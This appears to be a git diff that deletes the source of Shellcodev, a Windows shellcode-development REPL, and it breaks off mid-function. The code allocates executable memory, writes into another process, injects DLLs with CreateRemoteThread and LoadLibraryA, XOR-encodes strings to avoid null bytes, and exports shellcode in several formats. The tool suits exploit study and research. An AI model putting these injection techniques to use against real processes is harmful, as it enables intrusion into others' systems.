"lp", "lr") }; } - template R light_purple_on_light_purple(T t) { return R { S(t, "lp", "lp") }; } - template R light_purple_on_light_yellow(T t) { return R { S(t, "lp", "ly") }; } - template R light_purple_on_bright_white(T t) { return R { S(t, "lp", "bw") }; } - template R light_yellow_on_black(T t) { return R { S(t, "ly", "k") }; } - template R light_yellow_on_blue(T t) { return R { S(t, "ly", "b") }; } - template R light_yellow_on_green(T t) { return R { S(t, "ly", "g") }; } - template R light_yellow_on_aqua(T t) { return R { S(t, "ly", "a") }; } - template R light_yellow_on_red(T t) { return R { S(t, "ly", "r") }; } - template R light_yellow_on_purple(T t) { return R { S(t, "ly", "p") }; } - template R light_yellow_on_yellow(T t) { return R { S(t, "ly", "y") }; } - template R light_yellow_on_white(T t) { return R { S(t, "ly", "w") }; } - template R light_yellow_on_grey(T t) { return R { S(t, "ly", "e") }; } - template R light_yellow_on_light_blue(T t) { return R { S(t, "ly", "lb") }; } - template R light_yellow_on_light_green(T t) { return R { S(t, "ly", "lg") }; } - template R light_yellow_on_light_aqua(T t) { return R { S(t, "ly", "la") }; } - template R light_yellow_on_light_red(T t) { return R { S(t, "ly", "lr") }; } - template R light_yellow_on_light_purple(T t) { return R { S(t, "ly", "lp") }; } - template R light_yellow_on_light_yellow(T t) { return R { S(t, "ly", "ly") }; } - template R light_yellow_on_bright_white(T t) { return R { S(t, "ly", "bw") }; } - template R bright_white_on_black(T t) { return R { S(t, "bw", "k") }; } - template R bright_white_on_blue(T t) { return R { S(t, "bw", "b") }; } - template R bright_white_on_green(T t) { return R { S(t, "bw", "g") }; } - template R bright_white_on_aqua(T t) { return R { S(t, "bw", "a") }; } - template R bright_white_on_red(T t) { return R { S(t, "bw", "r") }; } - template R bright_white_on_purple(T t) { return R { S(t, "bw", "p") }; } - template R bright_white_on_yellow(T t) { return R { S(t, "bw", "y") }; } - template R bright_white_on_white(T t) { return R { S(t, "bw", "w") }; } - template R bright_white_on_grey(T t) { return R { S(t, "bw", "e") }; } - template R bright_white_on_light_blue(T t) { return R { S(t, "bw", "lb") }; } - template R bright_white_on_light_green(T t) { return R { S(t, "bw", "lg") }; } - template R bright_white_on_light_aqua(T t) { return R { S(t, "bw", "la") }; } - template R bright_white_on_light_red(T t) { return R { S(t, "bw", "lr") }; } - template R bright_white_on_light_purple(T t) { return R { S(t, "bw", "lp") }; } - template R bright_white_on_light_yellow(T t) { return R { S(t, "bw", "ly") }; } - template R bright_white_on_bright_white(T t) { return R { S(t, "bw", "bw") }; } -} - -#endif \ No newline at end of file diff --git a/Shellcodev/command.cpp b/Shellcodev/command.cpp deleted file mode 100644 index 4333246..0000000 --- a/Shellcodev/command.cpp +++ /dev/null @@ -1,736 +0,0 @@ -#include "repl.h" -#include "color.hpp" - -BOOL xorNulls; - -// Helper vectors for selecting random registers in .rsf -// TODO: Add those of XMM registers to x64 that are non-mutable by any flag conditions (especially by CF and ZF) -std::vector gregs_x64{ "rax", "rbx", "rcx", "rdx", "r8", "r9", "r10", "r11", "r12"}; -std::vector gregs_x32{ "eax", "ebx", "ecx", "edx"}; - -void shelldev_print_assembly(unsigned char* encode, size_t size) -{ - printf("assembled (%zu bytes): ", size); - - for (size_t i = 0; i < size; ++i) - if (encode[i] == 0x0) - //std::cout << std::hex << dye::light_red("0x") << dye::light_red(static_cast(encode[i])) << " "; - std::cout << std::hex << dye::light_red("0x00") << " "; - else - //std::cout << std::hex << "0x" << static_cast(encode[i]) << " "; - // SUGGESTION: The above can also be used in .toshell with hex cast but I am not sure if it won't break int-based size extraction of bytearray - printf("0x%x, ", encode[i]); - - printf("\n"); -} - -static BOOL shelldev_command_kernel32(shell_t* sh, std::vector parts) -{ - do - { - if (parts.size() != 1) - { - shelldev_print_errors("Usage: .kernel32 "); - break; - } - - HMODULE kernel32 = GetModuleHandleA("kernel32.dll"); - FARPROC addr = GetProcAddress(kernel32, parts[0].c_str()); - - if (!addr) - { - shelldev_print_errors("Unable to find that export!"); - break; - } - - shelldev_print_good("Kernel32.dll at %p, export located at %p", (LPVOID)kernel32, (LPVOID)addr); - - } while (0); - - return TRUE; -} - -static BOOL shelldev_command_load(shell_t* sh, std::vector parts) -{ - if (parts.size() == 0 || parts.size() > 2) - { - shelldev_print_errors("Usage: .load * | *Optional"); - return TRUE; - } - - HMODULE dll = LoadLibraryA(parts[0].c_str()); - FARPROC addr = nullptr; - if(parts.size() == 2) - addr = GetProcAddress(dll, parts[1].c_str()); - - if (parts.size() == 2 && !addr) - { - shelldev_print_errors("Unable to find that export!"); - return TRUE; - } - - shelldev_print_good("%s at %p, export located at %p", parts[0].c_str(), (LPVOID)dll, (LPVOID)addr); - - return TRUE; -} - - -static BOOL shelldev_command_shellcode(shell_t* sh, std::vector parts) -{ - do - { - std::string fixed = join(parts, ""); - std::string bin_str = from_hex(std::begin(fixed), std::end(fixed)); - std::vector bytes(std::begin(bin_str), std::end(bin_str)); - - if (bytes.size() == 0) - { - shelldev_print_errors("Usage: .shellcode hexdata"); - break; - } - - if (!shelldev_write_shellcode(sh, &bytes[0], bytes.size())) - { - shelldev_print_errors("Unable to allocate shellcode!"); - return TRUE; - } - - shelldev_debug_shellcode(sh); - shelldev_print_registers(sh); - - } while (0); - - return TRUE; -} - -static BOOL shelldev_command_peb(shell_t* sh, std::vector parts, std::vector* assemblies) -{ - std::string instructions; -#ifdef _M_X64 - // xor eax, eax - // mov rax, gs:[eax+0x60] - // unsigned char bytes[] = { 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x40, 0x60 }; - instructions = "xor eax, eax;mov rax, gs:[eax+0x60]"; -#elif defined(_M_IX86) - // xor eax, eax - // mov eax, fs:[eax+0x30] - // unsigned char bytes[] = { 0x31, 0xC0, 0x64, 0x8B, 0x40, 0x30 }; - instructions = "xor eax, eax;mov eax, fs:[eax+0x30]"; -#endif - - shelldev_run_shellcode(sh, instructions, assemblies); - - return TRUE; -} - - -static BOOL shelldev_command_abort(shell_t* sh, std::vector* assemblies) -{ - // TODO: I will add loop binder and unbinder so that below works + add exit routine - std::string instructions; -#ifdef _M_X64 - instructions = "push rbx; xor rbx, rbx; cmp rax, rbx; jne exitlogic; pop rbx; exitlogic:"; -#elif defined(_M_IX86) - instructions = "push ebx; xor ebx, ebx; cmp eax, ebx; jne exitlogic; pop ebx; exitlogic:"; -#endif - - shelldev_run_shellcode(sh, instructions, assemblies); - - return TRUE; -} - -static BOOL shelldev_command_allocate(shell_t* sh, std::vector parts) -{ - do - { - if (parts.size() != 1) - { - shelldev_print_errors("Usage: .alloc size"); - break; - } - - size_t size = atol(parts[0].c_str()); - - if (size == 0) - { - shelldev_print_errors("Usage: .alloc size"); - break; - } - - LPVOID addr = VirtualAllocEx( - sh->procInfo.hProcess, - NULL, - size, - MEM_COMMIT, - PAGE_EXECUTE_READWRITE - ); - - if (!addr) - { - shelldev_print_errors("Unable to allocate memory!"); - break; - } - - shelldev_print_good("Allocated RWX memory at %p (size: %d)", addr, size); - } while (0); - - return TRUE; -} - -static BOOL shelldev_command_write(shell_t* sh, std::vector parts) -{ - - do - { - if (parts.size() < 2) - { - shelldev_print_errors("Usage: .write addr hexdata"); - break; - } - - - unsigned long long x = 0; - std::istringstream iss(parts[0]); - iss >> std::hex >> x; - parts.erase(parts.begin()); - - std::string fixed = join(parts, ""); - //separate<2, ' '>(fixed); - std::string bin_str = from_hex(std::begin(fixed), std::end(fixed)); - std::vector bytes(std::begin(bin_str), std::end(bin_str)); - - if (x == 0 || bytes.size() == 0) - { - shelldev_print_errors("Usage: .write addr hexdata"); - break; - } - - SIZE_T nBytes; - - if (!WriteProcessMemory( - sh->procInfo.hProcess, - (LPVOID)x, - &bytes[0], - bytes.size(), - &nBytes - )) - { - shelldev_print_errors("Unable to write hex data!"); - break; - } - - shelldev_print_good("Wrote %d bytes to %p", nBytes, (LPVOID)x); - shelldev_print_bytes(&bytes[0], (int)bytes.size(), x); - - } while (0); - - - return TRUE; -} - -static BOOL shelldev_command_read(shell_t* sh, std::vector parts) -{ - do - { - if (parts.size() != 2) - { - shelldev_print_errors("Usage: .read addr size"); - break; - } - - size_t size = atol(parts[1].c_str()); - - unsigned long long x = 0; - std::istringstream iss(parts[0]); - iss >> std::hex >> x; - - if (size == 0 || x == 0) - { - shelldev_print_errors("Usage: .read addr size"); - break; - } - - std::vector bytes; - bytes.reserve(size); - - SIZE_T nBytes; - - if (!ReadProcessMemory( - sh->procInfo.hProcess, - (LPCVOID)x, - &bytes[0], - size, - &nBytes - )) - { - shelldev_print_errors("Unable to read from address: %p!", (LPVOID)x); - break; - } - - shelldev_print_bytes(&bytes[0], (int)nBytes, x); - - } while (0); - - return TRUE; -} - -static BOOL shelldev_command_loadlibrary(shell_t* sh, std::vector parts) -{ - do - { - if (parts.size() < 1) - { - shelldev_print_errors("The path is missing!"); - break; - } - - std::string dll = join(parts, ""); - - LPVOID pStr = VirtualAllocEx( - sh->procInfo.hProcess, - NULL, - dll.length() + 1, - MEM_COMMIT, - PAGE_READWRITE); - - if (!pStr) - { - shelldev_print_errors("Unable to allocate DLL path!"); - break; - } - - SIZE_T nBytes; - - if (!WriteProcessMemory( - sh->procInfo.hProcess, - pStr, - &dll[0], - dll.length() + 1, - &nBytes - )) - { - shelldev_print_errors("Unable to write DLL path!"); - break; - } - - DWORD dwThreadId; - - HANDLE hThread = CreateRemoteThread( - sh->procInfo.hProcess, - NULL, - 0, - (LPTHREAD_START_ROUTINE)LoadLibraryA, - pStr, - 0, - &dwThreadId); - - if (hThread == INVALID_HANDLE_VALUE) - { - shelldev_print_errors("Failed to call LoadLibraryA()."); - break; - } - - shelldev_print_good("LoadLibraryA() called for %s!", dll.c_str()); - - } while (0); - - return TRUE; -} - -BOOL shelldev_command_registers(shell_t* sh, std::vector parts) -{ - shelldev_print_registers_all(sh); - return TRUE; -} - -static BOOL shelldev_command_reset_assemblies(std::vector* assemblies) -{ - shelldev_print_good("Resetting the assemblies"); - assemblies->clear(); - return TRUE; -} - -static BOOL shelldev_command_reset(shell_t* sh) -{ - shelldev_print_good("Resetting the environment"); - TerminateProcess(sh->procInfo.hProcess, 0); - DebugActiveProcessStop(sh->procInfo.dwProcessId); - return TRUE; -} - -static BOOL shelldev_command_fixip(shell_t* sh) -{ - shelldev_print_good("Trying to fix the instruction pointer"); - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_ALL; - GetThreadContext(sh->procInfo.hThread, &ctx); - -#ifdef _M_X64 - ctx.Rip = ctx.Rip - 1; -#elif defined(_M_IX86) - ctx.Eip = ctx.Eip - 1; -#endif - SetThreadContext(sh->procInfo.hThread, &ctx); - return TRUE; -} - -static BOOL shelldev_list(std::vector* assemblies) -{ - int count = 0; - for (asm_t assembly : *assemblies) - { - std::cout << std::dec << dye::light_green(count) << ".\t"; - std::cout << assembly.instruction; - - for (int i = 0; i < (24 - assembly.instruction.size()); i++) - std::cout << " "; - - std::cout << dye::light_green("|\t"); - - for (unsigned char byte : assembly.bytes) - if (byte == 0x0) - std::cout << std::hex << dye::red("0x") << dye::red(static_cast(byte)) << " "; - else - std::cout << std::hex << "0x" << static_cast(byte) << " "; - - std::cout << std::endl; - count++; - } - - if (count == 0) { - shelldev_print_errors("No instructions inserted"); - } - - return TRUE; -} - -static BOOL shelldev_edit(shell_t* sh, std::vector* assemblies, std::vector parts) -{ - if (!is_number(parts[0])) - return FALSE; - - std::cout << "Editing line: " << dye::light_green(parts[0]) << std::endl; - std::cout << "Editing instruction: " << dye::light_green(assemblies->at(std::stoi(parts[0])).instruction) << std::endl; - std::cout << "Type '-' to quit editing" << std::endl; - - std::string input = shelldev_read(); - if (input == "-") - return TRUE; - - assemblies->at(std::stoi(parts[0])).instruction = input; - - if (!shelldev_run_shellcode(sh, assemblies)) - return FALSE; - - return TRUE; -} - -static BOOL shelldev_swap(shell_t* sh, std::vector* assemblies, std::vector parts) -{ - if (parts.size() != 2) { - shelldev_print_errors("Usage: .swap "); - return FALSE; - } - - if (!is_number(parts[0])) { - return FALSE; - } - - if (!is_number(parts[1])) { - return FALSE; - } - - std::string src_instr = assemblies->at(std::stoi(parts[0])).instruction; - std::string dst_instr = assemblies->at(std::stoi(parts[1])).instruction; - - std::cout << "[*] " << dye::light_purple(src_instr)<< " <-> " << dye::purple_on_black(src_instr) << std::endl; - - assemblies->at(std::stoi(parts[0])).instruction = dst_instr; - assemblies->at(std::stoi(parts[1])).instruction = src_instr; - - if (!shelldev_run_shellcode(sh, assemblies)) { - return FALSE; - } - - - return TRUE; -} - -static BOOL shelldev_toshell(shell_t* sh, std::vector* assemblies, std::vector parts) -{ -#ifdef _M_X64 - size_t addr = sh->curr.Rip; -#elif defined(_M_IX86) - size_t addr = sh->curr.Eip; -#endif - - std::vector data; - - if (!shelldev_assemble_loop(assemblies, data, addr + data.size())) - return FALSE; - - printf("\n"); - if (parts[0] == "c") - { - int count = 0; - - std::cout << "unsigned char shellcode[] = {" << std::endl; - for (int i = 0; i < data.size(); i++) - { - if (count != 0 && count % 12 == 0) - printf("\n"); - else if (i == data.size() - 1) - printf("0x%02x ", data.at(i)); - else - printf("0x%02x, ", data.at(i)); - - count++; - } - std::cout << "};" << std::endl; - } - else if (parts[0] == "cs") - { - int count = 0; - - std::cout << "byte[] shellcode = {" << std::endl; - for (int i = 0; i < data.size(); i++) - { - if (count != 0 && count % 12 == 0) - printf("\n"); - else if (i == data.size() - 1) - printf("0x%02x ", data.at(i)); - else - printf("0x%02x, ", data.at(i)); - - count++; - } - std::cout << "};" << std::endl; - } - else if (parts[0] == "py") - { - std::cout << "shellcode = (b\""; - for (int i = 0; i < data.size(); i++) - { - printf("\\x%02x", data.at(i)); - } - std::cout << "\")" << std::endl; - } - else if (parts[0] == "raw") - { - for (int i = 0; i < data.size(); i++) - { - printf("%02X", data.at(i)); - } - printf("\n"); - } - printf("\n"); - - return TRUE; -} - -static BOOL shelldev_command_delete(shell_t* sh, std::vector* assemblies, std::vector parts) -{ - assemblies->erase(assemblies->begin() + std::stoi(parts[0])); - - shelldev_run_shellcode(sh, assemblies); - - return TRUE; -} - -static BOOL shelldev_command_insert(shell_t* sh, std::vector* assemblies, std::vector parts) -{ - if (!is_number(parts[0])) - { - shelldev_print_errors("Please specify index after which insertion should happen"); - return FALSE; - } - int base_insert_idx = std::stoi(parts[0]); - - std::cout << "Inserting at position: " << dye::light_green(std::stoi(parts[0]) + 1) << std::endl; - std::cout << "Type '-' to quit editing" << std::endl; - - std::string input = shelldev_read(); - if (input == "-") { - return TRUE; - } - - asm_t temp; - temp.instruction = input; - assemblies->insert(assemblies->begin() + base_insert_idx, temp); - - base_insert_idx += 1; - - shelldev_run_shellcode(sh, assemblies); - - return TRUE; -} - -static BOOL shelldev_xoring() -{ - if (xorNulls) { - xorNulls = FALSE; - std::cout << "Xoring is " << dye::red("disabled") << std::endl; - } - else { - xorNulls = TRUE; - std::cout << "Xoring is " << dye::green("enabled") << std::endl; - } - return TRUE; -} - -static BOOL shelldev_command_stackframe(shell_t* sh, std::vector* assemblies) -{ -#ifdef _M_X64 - std::string instructions = "push rbp;mov rbp, rsp"; -#elif defined(_M_IX86) - std::string instructions = "push ebp;mov ebp, esp"; -#endif - shelldev_run_shellcode(sh, instructions, assemblies); - - return TRUE; -} - -//TODO: Finish counting up difference between pushes and pops and appending a proper number of pops -static BOOL shelldev_command_stackreset(shell_t* sh, std::vector* assemblies) -{ -/* int numpush = 0; - int numpop = 0; - std::srand(std::time(0)); -#ifdef _M_X64 - int randpos = std::rand() % gregs_x64.size(); - std::string randreg = gregs_x64[randpos]; -#elif defined(_M_IX86) - int randpos = std::rand() % gregs_x32.size(); - std::string randreg = gregs_x32[randpos]; -#endif - std::string popsled = ""; - sprintf("push %s", randreg); - for (asm_t assembly : *assemblies) { - std::string first_mnemonic = split(assembly.instruction, " ")[0]; - if ( first_mnemonic == "push" ) { - numpop += 1; - popsled += std::format(";pop %s", randreg); - } - } - - shelldev_print_good("Resetting stack using %d POP instructions to register %s", numpop, randreg); - shelldev_run_shellcode(sh, popsled, assemblies); - */ - return TRUE; -} - -static BOOL shelldev_command_clearstackframe(shell_t* sh, std::vector* assemblies) -{ - std::srand(std::time(0)); - std::string instructions = ""; - int randbool = std::rand() % 2; - if (randbool) { -#ifdef _M_X64 - instructions = "mov rsp, rbp; pop rbp"; -#elif defined(_M_IX86) - instructions = "mov esp, ebp; pop ebp"; -#endif - } else { - instructions = "ret"; - } - shelldev_run_shellcode(sh, instructions, assemblies); - - return TRUE; -} - -static BOOL winrepl_command_help() -{ - std::cout << ".help\t\t\tShow this help screen." << std::endl; - std::cout << ".registers\t\tShow more detailed register info" << std::endl; - std::cout << ".list\t\t\tShow list of previously executed assembly instructions" << std::endl; - std::cout << ".ins \t\tInsert instructions after index" << std::endl; - std::cout << ".edit \t\tEdit specified line in list" << std::endl; - std::cout << ".rem \t\tRemove a specified instruction" << std::endl; - std::cout << ".del \t\tDelete specified line from list" << std::endl; - std::cout << ".xor\t\t\tEnable or disable and show status of nullbyte xoring" << std::endl; - std::cout << ".nsf\t\t\tEstablish new stackframe" << std::endl; - std::cout << ".csf\t\t\tClear stackframe and load previous frame" << std::endl; - std::cout << ".rsf\t\t\tFully reset stack by ensuring equivalent number of LIFO operations" << std::endl; - std::cout << ".read \tRead from a memory address" << std::endl; - std::cout << ".swap \tSwap source with destination lines" << std::endl; - std::cout << ".write \tWrite to a memory address" << std::endl; - std::cout << ".toshell \tConvert list to selected shellcode format. Available formats: c, cs, raw, py" << std::endl; - std::cout << ".inject \t\tTest shellcode by injecting it into the process. Works currently only on x86!" << std::endl; - std::cout << ".alloc \t\tAllocate a memory buffer" << std::endl; - std::cout << ".loadlibrary \tLoad a DLL into the process" << std::endl; - std::cout << ".kernel32 \tGet address of a kernel32 export" << std::endl; - std::cout << ".load *\tGet address of a specified export. *Optional" << std::endl; - std::cout << ".shellcode \tExecute raw shellcode" << std::endl; - std::cout << ".peb\t\t\tLoads PEB into accumulator" << std::endl; - std::cout << ".fixip\t\t\tFix instruction pointer when 0xCC or 0xC3 is encountered" << std::endl; - std::cout << ".reset\t\t\tStart a new environment" << std::endl; - std::cout << ".abort\t\t\tInsert logic check and quit if AX != 0" << std::endl; - std::cout << ".quit\t\t\tExit the program" << std::endl; - - return TRUE; -} - - -BOOL shelldev_run_command(shell_t* sh, std::string command, std::vector* assemblies) -{ - std::vector parts = split(command, " "); - std::string mainCmd = parts[0]; - parts.erase(parts.begin()); - - if (mainCmd == ".registers") - return shelldev_command_registers(sh, parts); - else if (mainCmd == ".list") - return shelldev_list(assemblies); - else if (mainCmd == ".edit") - return shelldev_edit(sh, assemblies, parts); - else if (mainCmd == ".swap") - return shelldev_swap(sh, assemblies, parts); - else if (mainCmd == ".toshell") - return shelldev_toshell(sh, assemblies, parts); - else if (mainCmd == ".inject") - return shelldev_inject_shellcode(assemblies, parts[0]); - else if (mainCmd == ".read") - return shelldev_command_read(sh, parts); - else if (mainCmd == ".nsf") - return shelldev_command_stackframe(sh, assemblies); - else if (mainCmd == ".csf") - return shelldev_command_clearstackframe(sh, assemblies); - else if (mainCmd == ".rsf") - return shelldev_command_stackreset(sh, assemblies); - else if (mainCmd == ".del") - return shelldev_command_delete(sh, assemblies, parts); - else if (mainCmd == ".ins") - return shelldev_command_insert(sh, assemblies, parts); - else if (mainCmd == ".abort") - return shelldev_command_abort(sh, assemblies); - else if (mainCmd == ".xor") - return shelldev_xoring(); - else if (mainCmd == ".write") - return shelldev_command_write(sh, parts); - else if (mainCmd == ".fixip") - return shelldev_command_fixip(sh); - else if (mainCmd == ".alloc") - return shelldev_command_allocate(sh, parts); - else if (mainCmd == ".loadlibrary") - return shelldev_command_loadlibrary(sh, parts); - else if (mainCmd == ".kernel32") - return shelldev_command_kernel32(sh, parts); - else if (mainCmd == ".load") - return shelldev_command_load(sh, parts); - else if (mainCmd == ".reset") - return (shelldev_command_reset_assemblies(assemblies) && shelldev_command_reset(sh)); - else if (mainCmd == ".shellcode") - return shelldev_command_shellcode(sh, parts); - else if (mainCmd == ".peb") - return shelldev_command_peb(sh, parts, assemblies); - else if (mainCmd == ".quit" || mainCmd == ".exit") - ExitProcess(0); - else - { - if (mainCmd != ".help") - shelldev_print_errors("Command not found!"); - return winrepl_command_help(); - } - - return TRUE; -} \ No newline at end of file diff --git a/Shellcodev/eval.cpp b/Shellcodev/eval.cpp deleted file mode 100644 index 71e0ffe..0000000 --- a/Shellcodev/eval.cpp +++ /dev/null @@ -1,518 +0,0 @@ -#undef min -#undef max -#include -#include -#include -#include "repl.h" - -static std::string get_register(std::string instruction) -{ - std::string reg; - for (int i = 4; i < instruction.size(); i++) - if (instruction[i] == ',') - break; - else reg += instruction[i]; - - return reg; -} - -static inline unsigned int value(char c) -{ - if (c >= '0' && c <= '9') { return c - '0'; } - if (c >= 'a' && c <= 'f') { return c - 'a' + 10; } - if (c >= 'A' && c <= 'F') { return c - 'A' + 10; } - return -1; -} - -std::string str_xor(std::string const& s1, std::string const& s2) -{ - static char const alphabet[] = "0123456789abcdef"; - - std::string result; - result.reserve(s1.length()); - - for (std::size_t i = 0; i != s1.length(); ++i) - { - unsigned int v = value(s1[i]) ^ value(s2[i]); - - result.push_back(alphabet[v]); - } - - return result; -} - -std::vector shelldev_parse_string(std::string reg, std::string value) // Currently only works on x86! -{ - std::string key = "11111111"; - - std::vector stringParts; - for (size_t i = 0; i < value.size(); i += 4) - stringParts.push_back(value.substr(i, 4)); - - std::vector hex; - for (std::string part : stringParts) - { - std::stringstream ss; - for (int i = part.size() - 1; i >= 0; i--) - ss << std::hex << static_cast(part[i]); - - hex.push_back(ss.str()); - } - - if(xorNulls == TRUE) - for (int i = 0; i < hex.size(); i++) - if (hex[i].size() < 8) - for (int j = 0; j < (8 - hex[i].size()); j++) - hex[i].insert(0, "00"); - - std::vector<_str_parser_t> parsers; - for (int i = 0; i < hex.size(); i++) - { - _str_parser_t parser; - if (xorNulls == TRUE && hex[i].find("0") != std::string::npos) - { - parser.instruction = str_xor(hex[i], key); - parser.xored = TRUE; - parsers.push_back(parser); - } - else - { - parser.instruction = hex[i]; - parser.xored = FALSE; - parsers.push_back(parser); - } - } - - std::vector instructions; - for (int i = parsers.size() - 1; i >= 0; i--) - { - if (parsers[i].xored) - { - instructions.push_back("mov " + reg + ", 0x" + parsers[i].instruction); - instructions.push_back("xor " + reg + ", 0x" + key); - instructions.push_back("push " + reg); - } - else - { - instructions.push_back("push 0x" + parsers[i].instruction); - } - } - -#ifdef _M_X64 - instructions.push_back("mov " + reg + ", rsp"); -#elif defined(_M_IX86) - instructions.push_back("mov " + reg + ", esp"); -#endif - - return instructions; -} - -static void shelldev_fix_rip(shell_t* sh) -{ - // fix RIP because of \xcc - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_ALL; - GetThreadContext(sh->procInfo.hThread, &ctx); - -#ifdef _M_X64 - ctx.Rip = ctx.Rip - 1; -#elif defined(_M_IX86) - ctx.Eip = ctx.Eip - 1; -#endif - SetThreadContext(sh->procInfo.hThread, &ctx); -} - -BOOL shelldev_write_shellcode(shell_t* sh, unsigned char* encode, size_t size) -{ - DWORD dwOldProtect = 0; - SIZE_T nBytes; - CONTEXT ctx = { 0 }; - - shelldev_print_assembly(encode, size); - - ctx.ContextFlags = CONTEXT_ALL; - if (!GetThreadContext(sh->procInfo.hThread, &ctx)) - return FALSE; - - -#ifdef _M_X64 - LPVOID addr = (LPVOID)ctx.Rip; -#elif defined(_M_IX86) - LPVOID addr = (LPVOID)ctx.Eip; -#endif - - if (!VirtualProtectEx(sh->procInfo.hProcess, (LPVOID)addr, size + 1, PAGE_READWRITE, &dwOldProtect)) - return FALSE; - - if (!WriteProcessMemory(sh->procInfo.hProcess, (LPVOID)addr, (LPCVOID)encode, size, &nBytes)) - return FALSE; - - if (!WriteProcessMemory(sh->procInfo.hProcess, (LPVOID)((LPBYTE)addr + size), (LPCVOID)"\xcc", 1, &nBytes)) - return FALSE; - - if (!VirtualProtectEx(sh->procInfo.hProcess, (LPVOID)addr, size + 1, dwOldProtect, &dwOldProtect)) - return FALSE; - - FlushInstructionCache(sh->procInfo.hProcess, (LPCVOID)addr, size + 1); - - return TRUE; -} - -void shelldev_debug_shellcode(shell_t* sh) -{ - BOOL go = TRUE; - while (go) - { - ContinueDebugEvent(sh->procInfo.dwProcessId, sh->procInfo.dwThreadId, DBG_CONTINUE); - - DEBUG_EVENT dbg = { 0 }; - if (!WaitForDebugEvent(&dbg, INFINITE)) - break; - - if (dbg.dwThreadId != sh->procInfo.dwThreadId) - { - ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); - continue; - } - - if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT && dbg.dwThreadId == sh->procInfo.dwThreadId) - { - go = FALSE; - - switch (dbg.u.Exception.ExceptionRecord.ExceptionCode) - { - case EXCEPTION_ACCESS_VIOLATION: - break; - - case EXCEPTION_PRIV_INSTRUCTION: - break; - - case EXCEPTION_BREAKPOINT: - break; - default: - break; - } - } - - if (dbg.dwDebugEventCode == LOAD_DLL_DEBUG_EVENT) - { - if (dbg.u.LoadDll.hFile) - CloseHandle(dbg.u.LoadDll.hFile); - } - } - - shelldev_fix_rip(sh); - - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_ALL; - GetThreadContext(sh->procInfo.hThread, &ctx); - - memcpy(&sh->prev, &sh->curr, sizeof(CONTEXT)); - memcpy(&sh->curr, &ctx, sizeof(CONTEXT)); -} - -static BOOL shelldev_assemble(const char* instruction, std::vector& data, size_t address) -{ - using namespace asmjit; - using namespace asmtk; - - // Setup CodeInfo - JitRuntime jr; - - // Setup CodeHolder - CodeHolder code; - Error err = code.init(jr.environment()); - if (err != kErrorOk) - { - printf("ERROR: %s\n", DebugUtils::errorAsString(err)); - return FALSE; - } - - // Attach an assembler to the CodeHolder. - x86::Assembler a(&code); - - // Create AsmParser that will emit to X86Assembler. - AsmParser p(&a); - - // Parse some assembly. - err = p.parse(instruction); - - // Error handling - if (err != kErrorOk) - { - printf("ERROR: %s (instruction: \"%s\")\n", DebugUtils::errorAsString(err), instruction); - return FALSE; - } - - // If we are done, you must detach the Assembler from CodeHolder or sync - // it, so its internal state and position is synced with CodeHolder. - code.detach(&a); - - // Now you can print the code, which is stored in the first section (.text). - CodeBuffer& buffer = code.sectionById(0)->buffer(); - for (size_t i = 0; i < buffer.size(); i++) - data.push_back(buffer.data()[i]); - - return TRUE; -} - -static BOOL shelldev_jump(asmjit::Label loop, asmjit::x86::Assembler* a, std::string instruction) -{ - // Jump instruction checker - std::string jump; - for (int i = 0; i < instruction.size(); i++) - if (instruction[i] != ' ') - jump += instruction[i]; - else break; - - if (jump == "jmp") - a->jmp(loop); - else if (jump == "je") - a->je(loop); - else if (jump == "jz") - a->jz(loop); - else if (jump == "jne") - a->jne(loop); - else if (jump == "jnz") - a->jnz(loop); - else if (jump == "jg") - a->jg(loop); - else if (jump == "jnle") - a->jnle(loop); - else if (jump == "jge") - a->jge(loop); - else if (jump == "jnl") - a->jnl(loop); - else if (jump == "jl") - a->jl(loop); - else if (jump == "jnge") - a->jnge(loop); - else if (jump == "jle") - a->jle(loop); - else if (jump == "jng") - a->jng(loop); - else if (jump == "ja") - a->ja(loop); - else if (jump == "jnbe") - a->jnbe(loop); - else if (jump == "jae") - a->jae(loop); - else if (jump == "jnb") - a->jnb(loop); - // Add more options - else - return FALSE; - - return TRUE; -} - -// If jump instruction detected, reassemble everything -BOOL shelldev_assemble_loop(std::vector* assemblies, std::vector& data, size_t address) -{ - using namespace asmjit; - using namespace asmtk; - - struct Loop - { - std::string name; - Label label; - }; - - // Setup CodeInfo - JitRuntime jr; - - // Setup CodeHolder - CodeHolder code; - Error err = code.init(jr.environment()); - if (err != kErrorOk) - { - printf("ERROR: %s\n", DebugUtils::errorAsString(err)); - return FALSE; - } - - // Attach an assembler to the CodeHolder. - x86::Assembler a(&code); - - std::vector loops; - AsmParser p(&a); - - for (int i = 0; i < assemblies->size(); i++) - { - std::string instruction = assemblies->at(i).instruction; - - if (instruction[instruction.size() - 1] == ':') - { - Loop loop; - loop.name = instruction.erase(instruction.size() - 1, 1); // Remove : from label - loop.label = a.newLabel(); - - a.bind(loop.label); - loops.push_back(loop); - } - else if (instruction[0] == 'j') - { - std::string labelName; - for (int i = instruction.size() - 1; i >= 0; i--) - { - if (instruction[i] != ' ') - labelName += instruction[i]; - else break; - } - - std::reverse(labelName.begin(), labelName.end()); - - Label label; - for (int i = 0; i < loops.size(); i++) - if (loops.at(i).name == labelName) - label = loops.at(i).label; - - if (!shelldev_jump(label, &a, instruction)) - return FALSE; - } - else - { - err = p.parse(instruction.c_str()); - } - } - - code.detach(&a); - - // Now you can print the code, which is stored in the first section (.text). - CodeBuffer& buffer = code.sectionById(0)->buffer(); - for (size_t i = 0; i < buffer.size(); i++) - data.push_back(buffer.data()[i]); - - return TRUE; -} - -BOOL shelldev_run_shellcode(shell_t* sh, std::vector* assemblies) -{ -#ifdef _M_X64 - size_t addr = sh->curr.Rip; -#elif defined(_M_IX86) - size_t addr = sh->curr.Eip; -#endif - - for (int i = 0; i < assemblies->capacity(); i++) - { - if (assemblies->at(i).size == 0) - i++; - - std::vector data; - if (!shelldev_assemble(assemblies->at(i).instruction.c_str(), data, addr + data.size())) - return TRUE; - - assemblies->at(i).bytes = data; - assemblies->at(i).size = sizeof(data); - - if (!shelldev_write_shellcode(sh, data.data(), data.size())) - return FALSE; - - shelldev_debug_shellcode(sh); - } - - shelldev_print_registers(sh); - - return TRUE; -} - -BOOL shelldev_run_shellcode(shell_t* sh, std::string assembly, std::vector* assemblies) -{ - std::vector instructions = 